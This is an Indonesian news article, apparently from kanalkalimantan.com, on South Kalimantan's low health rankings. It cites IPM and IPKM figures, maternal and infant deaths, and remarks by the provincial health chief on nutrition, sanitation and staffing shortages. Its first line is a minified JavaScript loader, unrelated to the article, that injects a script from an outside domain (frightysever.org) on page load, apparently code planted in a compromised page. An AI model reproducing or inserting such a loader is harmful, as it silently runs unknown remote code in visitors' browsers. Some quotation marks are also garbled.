(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN , Urusan kesehatan di Provinsi Kalsel, ternyata masih jauh tertinggal dari sejumlah provinsi di Indonesia. Buktinya dari data terbaru Dinas Kesehatan Provinsi Kalsel, IPM (Indeks Pembangunan Manusia) Kalsel saat ini 67,63 berada pada rangking 22 dengan usia harapan hidup (UHH) sebesar 67,47.
Dan peringkat nasional kondisi kesehatan Kalsel berada diurutan ke 31 dari 33 provinsi dengan IPKM (Indeks Pembangunan Kesehatan Masyarakat) sebesar 0,4857, dimana jumlah Bumil sebesar 78.756 dan Bulin 74.766 dengan presentasi jumlah kematian ibu sebanyak 91. Adapun jumlah kelahiran hidup sebesar 60.954, dari jumlah bayi 73,509 dan jumlah balita 369.852 sehingga total jumah kematian bayi sebanyak 897.
Kondisi tersebut dibeberkan Kepala Dinas Kesehatan Kalsel H Muhammad Muslim SPD MKes seminar nasional kesehatan masyarakat 2017 yang digelar BEM FKM Uniska dan IAKMI Kalsel, Sabtu (23/12).
“Cakupan kesehatan ibu dan anak menurun dibandingkan tahun tahun sebelumnya, sehingga dalam hal ini diperlukan upaya untuk menjangkau seluruh sasaran, memastikan pemberian dan pelayanan kesehatan yang merata,†ujar Kadinkes Kalsel.
“Masalah gizi pun belum terselesaikan, cakupan rumah tangga mengakses jamban sehat dan masyarakat melakukan aktivitas fisik masih rendah, dan masih perlunya penguatan promosi dan pemberdayaan masyarakat di Kalsel,†sambungnya
Tidak hanya itu posisi masing masing IPKM ini ditentukan dari beberapa indeks yaitu kesehatan balita, kesehatan reproduksi, pelayanan kesehatan, perilaku kesehatan, penyakit tidak menular, penyakit menular dan kesehatan lingkungan. Dimana total dari masing-masing tiap indeks ada 24 dan seluruh kelompok indeks IPKM Kalsel masih sangat rendah.
“Khususnya gizi buruk, bayi pendek, imunisasi tidak lengkap, rendahnya penggunaan alat kontrasepsi, pemeriksaan kehamilan, kurangnya kesadaran cuci tangan dengan benar, kurangnya jumlah dokter per penduduk dan proporsi desa dengan kecukupan jumlah posyandu per desa, masih sedikit kepemilikan jaminan pelayanan kesehatan,†sebut Muslim.
Untuk indeks penyakit tidak menular yang paling banyak di Kalsel adalah hipertensi dan akibat cedera. Sedangkan indeks penyakit menular paling banyak adalah pneumonia, diare balita dan ISPA balita dan masalah lingkungan adalah masih buruknya akses sanitasi dan akses sumber air bersih di Kalsel.
“Maka dari itu perlunya penguatan layanan Puskesmas agar masalah kesehatan masyarakat tidak sampai ditangani oleh rumah sakit dan yang masih menjadi kendala saat ini adalah terbatasnya sumber daya manusia khususnya tenaga medis yang ada di Kalsel dan jumlahnya pun masih sedikit, selain itu sarana prasarana juga masih belum memadai,†jelasnya.
Meskipun begitu, Dinas Kesehatan Prov Kalsel akan tetap mengupayakan peningkatan mutu kesehatan di Kalsel dengan melakukan pemantapan pada seluruh indeks yang harus dipenuhi dalam IPKM. Dalam hal ini peran setiap daerah menjadi sangat penting untuk memperkuat peran puskesmas dengan memberikan dukungan pembiayaan, sumberdaya, sarana dan prasarasan, pembinaan manajemen program dan keuangan. (asriyani)
KANALKALIMANTAN.COM, PALANGKARAYA – PT PLN (Persero) Unit Pelaksana Transmisi (UPT) Palangkaraya melalui gugus tugas Srikandi… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan memimpin upacara peringatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah pedagang yang berjualan di Pasar Lama Banjarmasin tepatnya di Jalan Pasar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Masterplan penanganan banjir di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) Banjarbaru, masih… Read More
KANALKALIMANTAN.COM, MARTAPURA - Halaman Kantor Bupati Banjar menjadi lokasi dilaksanakannya peringatan ke-116 Hari Kebangkitan Nasional… Read More
KANALKALIMANTAN.COM, DENPASAR - Direktur Utama PT PLN (Persero) Darmawan Prasodjo meninjau langsung Posko Utama Kelistrikan… Read More
This website uses cookies.